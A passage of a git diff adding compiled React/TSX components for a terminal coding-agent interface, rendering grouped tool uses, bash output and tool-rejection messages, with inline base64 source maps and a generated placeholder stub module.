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
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/GroupedToolUseContent.tsx b/cc-haha/src/components/messages/GroupedToolUseContent.tsx
new file mode 100644
index 0000000..0fc74fb
--- /dev/null
+++ b/cc-haha/src/components/messages/GroupedToolUseContent.tsx
@@ -0,0 +1,58 @@
+import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/messages/messages.mjs';
+import * as React from 'react';
+import { filterToolProgressMessages, findToolByName, type Tools } from '../../Tool.js';
+import type { GroupedToolUseMessage } from '../../types/message.js';
+import type { buildMessageLookups } from '../../utils/messages.js';
+type Props = {
+  message: GroupedToolUseMessage;
+  tools: Tools;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  inProgressToolUseIDs: Set<string>;
+  shouldAnimate: boolean;
+};
+export function GroupedToolUseContent({
+  message,
+  tools,
+  lookups,
+  inProgressToolUseIDs,
+  shouldAnimate
+}: Props): React.ReactNode {
+  const tool = findToolByName(tools, message.toolName);
+  if (!tool?.renderGroupedToolUse) {
+    return null;
+  }
+
+  // Build a map from tool_use_id to result data
+  const resultsByToolUseId = new Map<string, {
+    param: ToolResultBlockParam;
+    output: unknown;
+  }>();
+  for (const resultMsg of message.results) {
+    for (const content of resultMsg.message.content) {
+      if (content.type === 'tool_result') {
+        resultsByToolUseId.set(content.tool_use_id, {
+          param: content,
+          output: resultMsg.toolUseResult
+        });
+      }
+    }
+  }
+  const toolUsesData = message.messages.map(msg => {
+    const content = msg.message.content[0];
+    const result = resultsByToolUseId.get(content.id);
+    return {
+      param: content as ToolUseBlockParam,
+      isResolved: lookups.resolvedToolUseIDs.has(content.id),
+      isError: lookups.erroredToolUseIDs.has(content.id),
+      isInProgress: inProgressToolUseIDs.has(content.id),
+      progressMessages: filterToolProgressMessages(lookups.progressMessagesByToolUseID.get(content.id) ?? []),
+      result
+    };
+  });
+  const anyInProgress = toolUsesData.some(d => d.isInProgress);
+  return tool.renderGroupedToolUse(toolUsesData, {
+    shouldAnimate: shouldAnimate && anyInProgress,
+    tools
+  });
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyIsImZpbmRUb29sQnlOYW1lIiwiVG9vbHMiLCJHcm91cGVkVG9vbFVzZU1lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiUHJvcHMiLCJtZXNzYWdlIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0Iiwic2hvdWxkQW5pbWF0ZSIsIkdyb3VwZWRUb29sVXNlQ29udGVudCIsIlJlYWN0Tm9kZSIsInRvb2wiLCJ0b29sTmFtZSIsInJlbmRlckdyb3VwZWRUb29sVXNlIiwicmVzdWx0c0J5VG9vbFVzZUlkIiwiTWFwIiwicGFyYW0iLCJvdXRwdXQiLCJyZXN1bHRNc2ciLCJyZXN1bHRzIiwiY29udGVudCIsInR5cGUiLCJzZXQiLCJ0b29sX3VzZV9pZCIsInRvb2xVc2VSZXN1bHQiLCJ0b29sVXNlc0RhdGEiLCJtZXNzYWdlcyIsIm1hcCIsIm1zZyIsInJlc3VsdCIsImdldCIsImlkIiwiaXNSZXNvbHZlZCIsInJlc29sdmVkVG9vbFVzZUlEcyIsImhhcyIsImlzRXJyb3IiLCJlcnJvcmVkVG9vbFVzZUlEcyIsImlzSW5Qcm9ncmVzcyIsInByb2dyZXNzTWVzc2FnZXMiLCJwcm9ncmVzc01lc3NhZ2VzQnlUb29sVXNlSUQiLCJhbnlJblByb2dyZXNzIiwic29tZSIsImQiXSwic291cmNlcyI6WyJHcm91cGVkVG9vbFVzZUNvbnRlbnQudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHtcbiAgVG9vbFJlc3VsdEJsb2NrUGFyYW0sXG4gIFRvb2xVc2VCbG9ja1BhcmFtLFxufSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvbWVzc2FnZXMvbWVzc2FnZXMubWpzJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyxcbiAgZmluZFRvb2xCeU5hbWUsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEdyb3VwZWRUb29sVXNlTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTogR3JvdXBlZFRvb2xVc2VNZXNzYWdlXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICBpblByb2dyZXNzVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gR3JvdXBlZFRvb2xVc2VDb250ZW50KHtcbiAgbWVzc2FnZSxcbiAgdG9vbHMsXG4gIGxvb2t1cHMsXG4gIGluUHJvZ3Jlc3NUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB0b29sID0gZmluZFRvb2xCeU5hbWUodG9vbHMsIG1lc3NhZ2UudG9vbE5hbWUpXG4gIGlmICghdG9vbD8ucmVuZGVyR3JvdXBlZFRvb2xVc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQnVpbGQgYSBtYXAgZnJvbSB0b29sX3VzZV9pZCB0byByZXN1bHQgZGF0YVxuICBjb25zdCByZXN1bHRzQnlUb29sVXNlSWQgPSBuZXcgTWFwPFxuICAgIHN0cmluZyxcbiAgICB7IHBhcmFtOiBUb29sUmVzdWx0QmxvY2tQYXJhbTsgb3V0cHV0OiB1bmtub3duIH1cbiAgPigpXG4gIGZvciAoY29uc3QgcmVzdWx0TXNnIG9mIG1lc3NhZ2UucmVzdWx0cykge1xuICAgIGZvciAoY29uc3QgY29udGVudCBvZiByZXN1bHRNc2cubWVzc2FnZS5jb250ZW50KSB7XG4gICAgICBpZiAoY29udGVudC50eXBlID09PSAndG9vbF9yZXN1bHQnKSB7XG4gICAgICAgIHJlc3VsdHNCeVRvb2xVc2VJZC5zZXQoY29udGVudC50b29sX3VzZV9pZCwge1xuICAgICAgICAgIHBhcmFtOiBjb250ZW50LFxuICAgICAgICAgIG91dHB1dDogcmVzdWx0TXNnLnRvb2xVc2VSZXN1bHQsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgY29uc3QgdG9vbFVzZXNEYXRhID0gbWVzc2FnZS5tZXNzYWdlcy5tYXAobXNnID0+IHtcbiAgICBjb25zdCBjb250ZW50ID0gbXNnLm1lc3NhZ2UuY29udGVudFswXVxuICAgIGNvbnN0IHJlc3VsdCA9IHJlc3VsdHNCeVRvb2xVc2VJZC5nZXQoY29udGVudC5pZClcbiAgICByZXR1cm4ge1xuICAgICAgcGFyYW06IGNvbnRlbnQgYXMgVG9vbFVzZUJsb2NrUGFyYW0sXG4gICAgICBpc1Jlc29sdmVkOiBsb29rdXBzLnJlc29sdmVkVG9vbFVzZUlEcy5oYXMoY29udGVudC5pZCksXG4gICAgICBpc0Vycm9yOiBsb29rdXBzLmVycm9yZWRUb29sVXNlSURzLmhhcyhjb250ZW50LmlkKSxcbiAgICAgIGlzSW5Qcm9ncmVzczogaW5Qcm9ncmVzc1Rvb2xVc2VJRHMuaGFzKGNvbnRlbnQuaWQpLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlczogZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMoXG4gICAgICAgIGxvb2t1cHMucHJvZ3Jlc3NNZXNzYWdlc0J5VG9vbFVzZUlELmdldChjb250ZW50LmlkKSA/PyBbXSxcbiAgICAgICksXG4gICAgICByZXN1bHQsXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IGFueUluUHJvZ3Jlc3MgPSB0b29sVXNlc0RhdGEuc29tZShkID0+IGQuaXNJblByb2dyZXNzKVxuXG4gIHJldHVybiB0b29sLnJlbmRlckdyb3VwZWRUb29sVXNlKHRvb2xVc2VzRGF0YSwge1xuICAgIHNob3VsZEFuaW1hdGU6IHNob3VsZEFuaW1hdGUgJiYgYW55SW5Qcm9ncmVzcyxcbiAgICB0b29scyxcbiAgfSlcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FDRUEsb0JBQW9CLEVBQ3BCQyxpQkFBaUIsUUFDWixtREFBbUQ7QUFDMUQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQywwQkFBMEIsRUFDMUJDLGNBQWMsRUFDZCxLQUFLQyxLQUFLLFFBQ0wsZUFBZTtBQUN0QixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsY0FBY0MsbUJBQW1CLFFBQVEseUJBQXlCO0FBRWxFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVILHFCQUFxQjtFQUM5QkksS0FBSyxFQUFFTCxLQUFLO0VBQ1pNLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9MLG1CQUFtQixDQUFDO0VBQy9DTSxvQkFBb0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUNqQ0MsYUFBYSxFQUFFLE9BQU87QUFDeEIsQ0FBQztBQUVELE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDUCxPQUFPO0VBQ1BDLEtBQUs7RUFDTEMsT0FBTztFQUNQRSxvQkFBb0I7RUFDcEJFO0FBQ0ssQ0FBTixFQUFFUCxLQUFLLENBQUMsRUFBRU4sS0FBSyxDQUFDZSxTQUFTLENBQUM7RUFDekIsTUFBTUMsSUFBSSxHQUFHZCxjQUFjLENBQUNNLEtBQUssRUFBRUQsT0FBTyxDQUFDVSxRQUFRLENBQUM7RUFDcEQsSUFBSSxDQUFDRCxJQUFJLEVBQUVFLG9CQUFvQixFQUFFO0lBQy9CLE9BQU8sSUFBSTtFQUNiOztFQUVBO0VBQ0EsTUFBTUMsa0JBQWtCLEdBQUcsSUFBSUMsR0FBRyxDQUNoQyxNQUFNLEVBQ047SUFBRUMsS0FBSyxFQUFFdkIsb0JBQW9CO0lBQUV3QixNQUFNLEVBQUUsT0FBTztFQUFDLENBQUMsQ0FDakQsQ0FBQyxDQUFDO0VBQ0gsS0FBSyxNQUFNQyxTQUFTLElBQUloQixPQUFPLENBQUNpQixPQUFPLEVBQUU7SUFDdkMsS0FBSyxNQUFNQyxPQUFPLElBQUlGLFNBQVMsQ0FBQ2hCLE9BQU8sQ0FBQ2tCLE9BQU8sRUFBRTtNQUMvQyxJQUFJQSxPQUFPLENBQUNDLElBQUksS0FBSyxhQUFhLEVBQUU7UUFDbENQLGtCQUFrQixDQUFDUSxHQUFHLENBQUNGLE9BQU8sQ0FBQ0csV0FBVyxFQUFFO1VBQzFDUCxLQUFLLEVBQUVJLE9BQU87VUFDZEgsTUFBTSxFQUFFQyxTQUFTLENBQUNNO1FBQ3BCLENBQUMsQ0FBQztNQUNKO0lBQ0Y7RUFDRjtFQUVBLE1BQU1DLFlBQVksR0FBR3ZCLE9BQU8sQ0FBQ3dCLFFBQVEsQ0FBQ0MsR0FBRyxDQUFDQyxHQUFHLElBQUk7SUFDL0MsTUFBTVIsT0FBTyxHQUFHUSxHQUFHLENBQUMxQixPQUFPLENBQUNrQixPQUFPLENBQUMsQ0FBQyxDQUFDO0lBQ3RDLE1BQU1TLE1BQU0sR0FBR2Ysa0JBQWtCLENBQUNnQixHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDO0lBQ2pELE9BQU87TUFDTGYsS0FBSyxFQUFFSSxPQUFPLElBQUkxQixpQkFBaUI7TUFDbkNzQyxVQUFVLEVBQUU1QixPQUFPLENBQUM2QixrQkFBa0IsQ0FBQ0MsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUN0REksT0FBTyxFQUFFL0IsT0FBTyxDQUFDZ0MsaUJBQWlCLENBQUNGLEdBQUcsQ0FBQ2QsT0FBTyxDQUFDVyxFQUFFLENBQUM7TUFDbERNLFlBQVksRUFBRS9CLG9CQUFvQixDQUFDNEIsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUNsRE8sZ0JBQWdCLEVBQUUxQywwQkFBMEIsQ0FDMUNRLE9BQU8sQ0FBQ21DLDJCQUEyQixDQUFDVCxHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDLElBQUksRUFDekQsQ0FBQztNQUNERjtJQUNGLENBQUM7RUFDSCxDQUFDLENBQUM7RUFFRixNQUFNVyxhQUFhLEdBQUdmLFlBQVksQ0FBQ2dCLElBQUksQ0FBQ0MsQ0FBQyxJQUFJQSxDQUFDLENBQUNMLFlBQVksQ0FBQztFQUU1RCxPQUFPMUIsSUFBSSxDQUFDRSxvQkFBb0IsQ0FBQ1ksWUFBWSxFQUFFO0lBQzdDakIsYUFBYSxFQUFFQSxhQUFhLElBQUlnQyxhQUFhO0lBQzdDckM7RUFDRixDQUFDLENBQUM7QUFDSiIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/UserBashOutputMessage.tsx b/cc-haha/src/components/messages/UserBashOutputMessage.tsx
new file mode 100644
index 0000000..a4797f9
--- /dev/null
+++ b/cc-haha/src/components/messages/UserBashOutputMessage.tsx
@@ -0,0 +1,54 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import BashToolResultMessage from '../../tools/BashTool/BashToolResultMessage.js';
+import { extractTag } from '../../utils/messages.js';
+export function UserBashOutputMessage(t0) {
+  const $ = _c(10);
+  const {
+    content,
+    verbose
+  } = t0;
+  let t1;
+  if ($[0] !== content) {
+    const rawStdout = extractTag(content, "bash-stdout") ?? "";
+    t1 = extractTag(rawStdout, "persisted-output") ?? rawStdout;
+    $[0] = content;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const stdout = t1;
+  let t2;
+  if ($[2] !== content) {
+    t2 = extractTag(content, "bash-stderr") ?? "";
+    $[2] = content;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const stderr = t2;
+  let t3;
+  if ($[4] !== stderr || $[5] !== stdout) {
+    t3 = {
+      stdout,
+      stderr
+    };
+    $[4] = stderr;
+    $[5] = stdout;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  const t4 = !!verbose;
+  let t5;
+  if ($[7] !== t3 || $[8] !== t4) {
+    t5 = <BashToolResultMessage content={t3} verbose={t4} />;
+    $[7] = t3;
+    $[8] = t4;
+    $[9] = t5;
+  } else {
+    t5 = $[9];
+  }
+  return t5;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJhc2hUb29sUmVzdWx0TWVzc2FnZSIsImV4dHJhY3RUYWciLCJVc2VyQmFzaE91dHB1dE1lc3NhZ2UiLCJ0MCIsIiQiLCJfYyIsImNvbnRlbnQiLCJ2ZXJib3NlIiwidDEiLCJyYXdTdGRvdXQiLCJzdGRvdXQiLCJ0MiIsInN0ZGVyciIsInQzIiwidDQiLCJ0NSJdLCJzb3VyY2VzIjpbIlVzZXJCYXNoT3V0cHV0TWVzc2FnZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgQmFzaFRvb2xSZXN1bHRNZXNzYWdlIGZyb20gJy4uLy4uL3Rvb2xzL0Jhc2hUb29sL0Jhc2hUb29sUmVzdWx0TWVzc2FnZS5qcydcbmltcG9ydCB7IGV4dHJhY3RUYWcgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxuZXhwb3J0IGZ1bmN0aW9uIFVzZXJCYXNoT3V0cHV0TWVzc2FnZSh7XG4gIGNvbnRlbnQsXG4gIHZlcmJvc2UsXG59OiB7XG4gIGNvbnRlbnQ6IHN0cmluZ1xuICB2ZXJib3NlPzogYm9vbGVhblxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IHJhd1N0ZG91dCA9IGV4dHJhY3RUYWcoY29udGVudCwgJ2Jhc2gtc3Rkb3V0JykgPz8gJydcbiAgLy8gVW53cmFwIDxwZXJzaXN0ZWQtb3V0cHV0PiBpZiBwcmVzZW50IOKAlCBrZWVwIHRoZSBpbm5lciBjb250ZW50IChmaWxlIHBhdGggK1xuICAvLyBwcmV2aWV3KSBmb3IgdGhlIHVzZXI7IHRoZSB3cmFwcGVyIHRhZyBpdHNlbGYgaXMgbW9kZWwtZmFjaW5nIHNpZ25hbGluZy5cbiAgY29uc3Qgc3Rkb3V0ID0gZXh0cmFjdFRhZyhyYXdTdGRvdXQsICdwZXJzaXN0ZWQtb3V0cHV0JykgPz8gcmF3U3Rkb3V0XG4gIGNvbnN0IHN0ZGVyciA9IGV4dHJhY3RUYWcoY29udGVudCwgJ2Jhc2gtc3RkZXJyJykgPz8gJydcbiAgcmV0dXJuIChcbiAgICA8QmFzaFRvb2xSZXN1bHRNZXNzYWdlIGNvbnRlbnQ9e3sgc3Rkb3V0LCBzdGRlcnIgfX0gdmVyYm9zZT17ISF2ZXJib3NlfSAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLE9BQU9DLHFCQUFxQixNQUFNLCtDQUErQztBQUNqRixTQUFTQyxVQUFVLFFBQVEseUJBQXlCO0FBRXBELE9BQU8sU0FBQUMsc0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBK0I7SUFBQUMsT0FBQTtJQUFBQztFQUFBLElBQUFKLEVBTXJDO0VBQUEsSUFBQUssRUFBQTtFQUFBLElBQUFKLENBQUEsUUFBQUUsT0FBQTtJQUNDLE1BQUFHLFNBQUEsR0FBa0JSLFVBQVUsQ0FBQ0ssT0FBTyxFQUFFLGFBQW1CLENBQUMsSUFBeEMsRUFBd0M7SUFHM0NFLEVBQUEsR0FBQVAsVUFBVSxDQUFDUSxTQUFTLEVBQUUsa0JBQStCLENBQUMsSUFBdERBLFNBQXNEO0lBQUFMLENBQUEsTUFBQUUsT0FBQTtJQUFBRixDQUFBLE1BQUFJLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFKLENBQUE7RUFBQTtFQUFyRSxNQUFBTSxNQUFBLEdBQWVGLEVBQXNEO0VBQUEsSUFBQUcsRUFBQTtFQUFBLElBQUFQLENBQUEsUUFBQUUsT0FBQTtJQUN0REssRUFBQSxHQUFBVixVQUFVLENBQUNLLE9BQU8sRUFBRSxhQUFtQixDQUFDLElBQXhDLEVBQXdDO0lBQUFGLENBQUEsTUFBQUUsT0FBQTtJQUFBRixDQUFBLE1BQUFPLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFQLENBQUE7RUFBQTtFQUF2RCxNQUFBUSxNQUFBLEdBQWVELEVBQXdDO0VBQUEsSUFBQUUsRUFBQTtFQUFBLElBQUFULENBQUEsUUFBQVEsTUFBQSxJQUFBUixDQUFBLFFBQUFNLE1BQUE7SUFFckJHLEVBQUE7TUFBQUgsTUFBQTtNQUFBRTtJQUFpQixDQUFDO0lBQUFSLENBQUEsTUFBQVEsTUFBQTtJQUFBUixDQUFBLE1BQUFNLE1BQUE7SUFBQU4sQ0FBQSxNQUFBUyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBVCxDQUFBO0VBQUE7RUFBVyxNQUFBVSxFQUFBLElBQUMsQ0FBQ1AsT0FBTztFQUFBLElBQUFRLEVBQUE7RUFBQSxJQUFBWCxDQUFBLFFBQUFTLEVBQUEsSUFBQVQsQ0FBQSxRQUFBVSxFQUFBO0lBQXRFQyxFQUFBLElBQUMscUJBQXFCLENBQVUsT0FBa0IsQ0FBbEIsQ0FBQUYsRUFBaUIsQ0FBQyxDQUFXLE9BQVMsQ0FBVCxDQUFBQyxFQUFRLENBQUMsR0FBSTtJQUFBVixDQUFBLE1BQUFTLEVBQUE7SUFBQVQsQ0FBQSxNQUFBVSxFQUFBO0lBQUFWLENBQUEsTUFBQVcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVgsQ0FBQTtFQUFBO0VBQUEsT0FBMUVXLEVBQTBFO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/UserGitHubWebhookMessage.ts b/cc-haha/src/components/messages/UserGitHubWebhookMessage.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/components/messages/UserGitHubWebhookMessage.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/components/messages/UserToolResultMessage/UserToolRejectMessage.tsx b/cc-haha/src/components/messages/UserToolResultMessage/UserToolRejectMessage.tsx
new file mode 100644
index 0000000..81d3e78
--- /dev/null
+++ b/cc-haha/src/components/messages/UserToolResultMessage/UserToolRejectMessage.tsx
@@ -0,0 +1,95 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import { useTerminalSize } from '../../../hooks/useTerminalSize.js';
+import { useTheme } from '../../../ink.js';
+import { filterToolProgressMessages, type Tool, type Tools } from '../../../Tool.js';
+import type { ProgressMessage } from '../../../types/message.js';
+import type { buildMessageLookups } from '../../../utils/messages.js';
+import { FallbackToolUseRejectedMessage } from '../../FallbackToolUseRejectedMessage.js';
+type Props = {
+  input: {
+    [key: string]: unknown;
+  };
+  progressMessagesForMessage: ProgressMessage[];
+  style?: 'condensed';
+  tool?: Tool;
+  tools: Tools;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+};
+export function UserToolRejectMessage(t0) {
+  const $ = _c(13);
+  const {
+    input,
+    progressMessagesForMessage,
+    style,
+    tool,
+    tools,
+    verbose,
+    isTranscriptMode
+  } = t0;
+  const {
+    columns
+  } = useTerminalSize();
+  const [theme] = useTheme();
+  if (!tool || !tool.renderToolUseRejectedMessage) {
+    let t1;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t1 = <FallbackToolUseRejectedMessage />;
+      $[0] = t1;
+    } else {
+      t1 = $[0];
+    }
+    return t1;
+  }
+  const t1 = tool.inputSchema;
+  let t2;
+  let t3;
+  if ($[1] !== columns || $[2] !== input || $[3] !== isTranscriptMode || $[4] !== progressMessagesForMessage || $[5] !== style || $[6] !== theme || $[7] !== tool || $[8] !== tools || $[9] !== verbose) {
+    t3 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const parsedInput = t1.safeParse(input);
+      if (!parsedInput.success) {
+        let t4;
+        if ($[12] === Symbol.for("react.memo_cache_sentinel")) {
+          t4 = <FallbackToolUseRejectedMessage />;
+          $[12] = t4;
+        } else {
+          t4 = $[12];
+        }
+        t3 = t4;
+        break bb0;
+      }
+      t2 = tool.renderToolUseRejectedMessage(parsedInput.data, {
